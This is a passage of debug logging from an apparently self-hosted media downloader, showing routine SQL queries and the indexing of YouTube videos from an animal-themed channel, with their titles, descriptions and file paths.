s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:11.273 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:11.274 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118971] 08:29:11.274 [debug] Current batch of media processed. Will check again in 1000ms 08:29:12.274 [debug] Current batch of media processed. Will check again in 1000ms 08:29:13.276 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today I buy every deadly animal I can find on the dark web to keep as my my pets! From 10ft long snakes, venomous insects, sharks, poisonous frogs, man-eating crabs, to literally anything else you can think of. This video has it all, so buckle in because this is gonna be a wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 5156, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e102500 - I Bought The Deadliest Animals (to keep as pets).mkv", "id" => "VRzuXo7JdUI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VRzuXo7JdUI", "playlist_index" => 5, "timestamp" => 1761393602, "title" => "I Bought The Deadliest Animals (to keep as pets)", "upload_date" => "20251025"} 08:29:13.277 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=489.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:13.278 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=490.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:13.280 [debug] QUERY OK source="media_items" db=1.0ms idle=491.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-25 12:00:02Z], 33] 08:29:13.281 [debug] QUERY OK source="media_items" db=0.7ms idle=492.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today I buy every deadly animal I can find on the dark web to keep as my my pets! From 10ft long snakes, venomous insects, sharks, poisonous frogs, man-eating crabs, to literally anything else you can think of. This video has it all, so buckle in because this is gonna be a wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Bought The Deadliest Animals (to keep as pets)", "1af57eec-a9b1-437e-9b36-9ec5dde2f5df", "VRzuXo7JdUI", false, "https://www.youtube.com/watch?v=VRzuXo7JdUI", 33, [], 5156, false, 5, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e102500 - I Bought The Deadliest Animals (to keep as pets).mkv", false, false, 98, ~U[2025-10-25 12:00:02Z], ~U[2026-06-02 12:29:13Z], ~U[2026-06-02 12:29:13Z], "Today I buy every deadly animal I can find on the dark web to keep as my my pets! From 10ft long snakes, venomous insects, sharks, poisonous frogs, man-eating crabs, to literally anything else you can think of. This video has it all, so buckle in because this is gonna be a wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Bought The Deadliest Animals (to keep as pets)", "VRzuXo7JdUI", "https://www.youtube.com/watch?v=VRzuXo7JdUI", 33, 5156, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e102500 - I Bought The Deadliest Animals (to keep as pets).mkv", false, ~U[2025-10-25 12:00:02Z]] 08:29:13.281 [debug] QUERY OK source="sources" db=0.2ms idle=42.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:13.281 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:13.282 [debug] QUERY OK source="media_items" db=0.3ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118972] 08:29:13.282 [debug] Current batch of media processed. Will check again in 1000ms 08:29:14.283 [debug] Current batch of media processed. Will check again in 1000ms 08:29:15.285 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video I find an abandoned zoo that is still home to tons of crazy animals, like tigers, monkeys, crocodiles, bears, sloths, otters, and anything else you can think of! So, my mission is to explore the entire zoo to see how many animals we can save before it’s too late. I started my search and I managed to find one of the 3 buildings where they kept some of the rare and deadly animals, and I was able to find some rare fish, venomous snakes, chameleons, and even a horned lizard! After that I explored more of the abandoned zoo and I came across a big fish tank that had a massive fly river turtle, which is one of the rarest ones in the world! Clearly we were starting to find a lot of crazy animals, but it didn’t stop there. Because next I found the 2nd building full of animals, and inside was some monitor lizards, a giant bullfrog, big pythons, sugar gliders, and even a couple ferrets! But then I found the biggest animals so far which were 3 sulcata tortoises… However there was still a ton of other animals left in the zoo that were even bigger, so I continued my search and stumbled upon the 3rd and final building which had tons of rare animals in it including poison dart frogs, legless lizards, albino snakes, and so much more! After that I entered the main part of the zoo where they kept the craziest animals, and right away I found an emu which is the 2nd largest bird in the world, and is considered a real-life dinosaur! But it didn’t stop there, I then found an extremely rare toucan inside of a super dirty enclosure… Luckily it was still alive, but since it was so big I had nowhere to put it. This made me realize that the only way for me to save every single animal would be to buy the abandoned zoo, so leave a like if you think I should! But for now there was still a ton of cages and enclosures left to explore, so I kept going and I managed to find a few more animals including turkeys, red foot tortoises, donkeys, and even peacocks! At this point we had explored almost all of the zoo, but there was still 1 more enclosure left and inside was the biggest tortoise I had ever seen! It was so heavy that I couldn’t even lift it up, so the only way to save him would be to buy the abandoned zoo… So if you guys get 300,000 likes on this video I will make a part 2 where I come back and save every single animal!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 2665, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e101100 - I Found an Abandoned Zoo….mkv", "id" => "hKgulyjwjWI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hKgulyjwjWI", "playlist_index" => 6, "timestamp" => 1760184002, "title" => "I Found an Abandoned Zoo…", "upload_date" => "20251011"} 08:29:15.286 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=498.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:15.287 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=499.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:15.288 [debug] QUERY OK source="media_items" db=0.8ms idle=500.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-11 12:00:02Z], 33] 08:29:15.290 [debug] QUERY OK source="media_items" db=1.1ms idle=501.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I find an abandoned zoo that is still home to tons of crazy animals, like tigers, monkeys, crocodiles, bears, sloths, otters, and anything else you can think of! So, my mission is to explore the entire zoo to see how many animals we can save before it’s too late. I started my search and I managed to find one of the 3 buildings where they kept some of the rare and deadly animals, and I was able to find some rare fish, venomous snakes, chameleons, and even a horned lizard! After that I explored more of the abandoned zoo and I came across a big fish tank that had a massive fly river turtle, which is one of the rarest ones in the world! Clearly we were starting to find a lot of crazy animals, but it didn’t stop there. Because next I found the 2nd building full of animals, and inside was some monitor lizards, a giant bullfrog, big pythons, sugar gliders, and even a couple ferrets! But then I found the biggest animals so far which were 3 sulcata tortoises… However there was still a ton of other animals left in the zoo that were even bigger, so I continued my search and stumbled upon the 3rd and final building which had tons of rare animals in it including poison dart frogs, legless lizards, albino snakes, and so much more! After that I entered the main part of the zoo where they kept the craziest animals, and right away I found an emu which is the 2nd largest bird in the world, and is considered a real-life dinosaur! But it didn’t stop there, I then found an extremely rare toucan inside of a super dirty enclosure… Luckily it was still alive, but since it was so big I had nowhere to put it. This made me realize that the only way for me to save every single animal would be to buy the abandoned zoo, so leave a like if you think I should! But for now there was still a ton of cages and enclosures left to explore, so I kept going and I managed to find a few more animals including turkeys, red foot tortoises, donkeys, and even peacocks! At this point we had explored almost all of the zoo, but there was still 1 more enclosure left and inside was the biggest tortoise I had ever seen! It was so heavy that I couldn’t even lift it up, so the only way to save him would be to buy the abandoned zoo… So if you guys get 300,000 likes on this video I will make a part 2 where I come back and save every single animal!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Zoo…", "9f299dab-5aed-4974-b754-0f9547e29875", "hKgulyjwjWI", false, "https://www.youtube.com/watch?v=hKgulyjwjWI", 33, [], 2665, false, 6, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e101100 - I Found an Abandoned Zoo….mkv", false, false, 98, ~U[2025-10-11 12:00:02Z], ~U[2026-06-02 12:29:15Z], ~U[2026-06-02 12:29:15Z], "In today’s video I find an abandoned zoo that is still home to tons of crazy animals, like tigers, monkeys, crocodiles, bears, sloths, otters, and anything else you can think of! So, my mission is to explore the entire zoo to see how many animals we can save before it’s too late. I started my search and I managed to find one of the 3 buildings where they kept some of the rare and deadly animals, and I was able to find some rare fish, venomous snakes, chameleons, and even a horned lizard! After that I explored more of the abandoned zoo and I came across a big fish tank that had a massive fly river turtle, which is one of the rarest ones in the world! Clearly we were starting to find a lot of crazy animals, but it didn’t stop there. Because next I found the 2nd building full of animals, and inside was some monitor lizards, a giant bullfrog, big pythons, sugar gliders, and even a couple ferrets! But then I found the biggest animals so far which were 3 sulcata tortoises… However there was still a ton of other animals left in the zoo that were even bigger, so I continued my search and stumbled upon the 3rd and final building which had tons of rare animals in it including poison dart frogs, legless lizards, albino snakes, and so much more! After that I entered the main part of the zoo where they kept the craziest animals, and right away I found an emu which is the 2nd largest bird in the world, and is considered a real-life dinosaur! But it didn’t stop there, I then found an extremely rare toucan inside of a super dirty enclosure… Luckily it was still alive, but since it was so big I had nowhere to put it. This made me realize that the only way for me to save every single animal would be to buy the abandoned zoo, so leave a like if you think I should! But for now there was still a ton of cages and enclosures left to explore, so I kept going and I managed to find a few more animals including turkeys, red foot tortoises, donkeys, and even peacocks! At this point we had explored almost all of the zoo, but there was still 1 more enclosure left and inside was the biggest tortoise I had ever seen! It was so heavy that I couldn’t even lift it up, so the only way to save him would be to buy the abandoned zoo… So if you guys get 300,000 likes on this video I will make a part 2 where I come back and save every single animal!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Zoo…", "hKgulyjwjWI", "https://www.youtube.com/watch?v=hKgulyjwjWI", 33, 2665, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e101100 - I Found an Abandoned Zoo….mkv", false, ~U[2025-10-11 12:00:02Z]] 08:29:15.291 [debug] QUERY OK source="sources" db=0.1ms idle=48.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:15.291 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:15.291 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118973] 08:29:15.291 [debug] Current batch of media processed. Will check again in 1000ms 08:29:16.292 [debug] Current batch of media processed. Will check again in 1000ms 08:29:17.294 [debug] Current batch of media processed. Will check again in 1000ms 08:29:18.294 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today's video, I find an abandoned garage full of sea monsters! Inside is venomous stonefish, monster eels, real life aliens, and even sharks. But sadly, the old owner passed away so its my job to save them before its too late... I started off my netting around in one of the tanks and immediately I found some crazy sea creatures including a sea cucumber, and an orange lobster! But then things started to get really crazy when I started exploring a bigger aquarium, and found a giant pufferfish, a moray eel, and a mystery fish! Things were starting to pick up and I was even finding freshwater creatures including albino frogs, mudskippers, and a monster flowerhorn! After that I suddenly found our first shark of the video, but sadly it wasn't alive meaning we were too late... I moved on and managed to find multiple stonefish, which are the most venomous fish in the world... Luckily I didn't get stung, and I kept netting around and caught some sea urchins, sea horses, starfish, and lobsters! But then, I stumbled upon the deadliest creature so far which was a massive peacock mantis shrimp! After that I spotted a big tank that was filled with axolotls... I netted around the entire tank and saved 7 axolotls, including rare golden and albino ones! But things didn't stop there, I kept going and managed to find a monster moray eel, and multiple sharks... And after saving them the abandoned garage was empty which means we rescued everything inside!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 1343, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e083000 - I Found The World’s Deadliest Sea Monsters….mkv", "id" => "JKT8AxiO87Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=JKT8AxiO87Y", "playlist_index" => 7, "timestamp" => 1756555203, "title" => "I Found The World’s Deadliest Sea Monsters…", "upload_date" => "20250830"} 08:29:18.295 [debug] QUERY OK source="sources" db=0.3ms idle=1507.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:18.296 [debug] QUERY OK source="sources" db=0.3ms idle=1508.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:18.297 [debug] QUERY OK source="media_items" db=1.5ms idle=1508.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-30 12:00:03Z], 33] 08:29:18.300 [debug] QUERY OK source="media_items" db=1.6ms idle=1054.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today's video, I find an abandoned garage full of sea monsters! Inside is venomous stonefish, monster eels, real life aliens, and even sharks. But sadly, the old owner passed away so its my job to save them before its too late... I started off my netting around in one of the tanks and immediately I found some crazy sea creatures including a sea cucumber, and an orange lobster! But then things started to get really crazy when I started exploring a bigger aquarium, and found a giant pufferfish, a moray eel, and a mystery fish! Things were starting to pick up and I was even finding freshwater creatures including albino frogs, mudskippers, and a monster flowerhorn! After that I suddenly found our first shark of the video, but sadly it wasn't alive meaning we were too late... I moved on and managed to find multiple stonefish, which are the most venomous fish in the world... Luckily I didn't get stung, and I kept netting around and caught some sea urchins, sea horses, starfish, and lobsters! But then, I stumbled upon the deadliest creature so far which was a massive peacock mantis shrimp! After that I spotted a big tank that was filled with axolotls... I netted around the entire tank and saved 7 axolotls, including rare golden and albino ones! But things didn't stop there, I kept going and managed to find a monster moray eel, and multiple sharks... And after saving them the abandoned garage was empty which means we rescued everything inside!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The World’s Deadliest Sea Monsters…", "a775402b-9dcb-4ce7-836a-a83ed0e43155", "JKT8AxiO87Y", false, "https://www.youtube.com/watch?v=JKT8AxiO87Y", 33, [], 1343, false, 7, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e083000 - I Found The World’s Deadliest Sea Monsters….mkv", false, false, 98, ~U[2025-08-30 12:00:03Z], ~U[2026-06-02 12:29:18Z], ~U[2026-06-02 12:29:18Z], "In today's video, I find an abandoned garage full of sea monsters! Inside is venomous stonefish, monster eels, real life aliens, and even sharks. But sadly, the old owner passed away so its my job to save them before its too late... I started off my netting around in one of the tanks and immediately I found some crazy sea creatures including a sea cucumber, and an orange lobster! But then things started to get really crazy when I started exploring a bigger aquarium, and found a giant pufferfish, a moray eel, and a mystery fish! Things were starting to pick up and I was even finding freshwater creatures including albino frogs, mudskippers, and a monster flowerhorn! After that I suddenly found our first shark of the video, but sadly it wasn't alive meaning we were too late... I moved on and managed to find multiple stonefish, which are the most venomous fish in the world... Luckily I didn't get stung, and I kept netting around and caught some sea urchins, sea horses, starfish, and lobsters! But then, I stumbled upon the deadliest creature so far which was a massive peacock mantis shrimp! After that I spotted a big tank that was filled with axolotls... I netted around the entire tank and saved 7 axolotls, including rare golden and albino ones! But things didn't stop there, I kept going and managed to find a monster moray eel, and multiple sharks... And after saving them the abandoned garage was empty which means we rescued everything inside!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The World’s Deadliest Sea Monsters…", "JKT8AxiO87Y", "https://www.youtube.com/watch?v=JKT8AxiO87Y", 33, 1343, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e083000 - I Found The World’s Deadliest Sea Monsters….mkv", false, ~U[2025-08-30 12:00:03Z]] 08:29:18.300 [debug] QUERY OK source="sources" db=0.1ms idle=53.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", 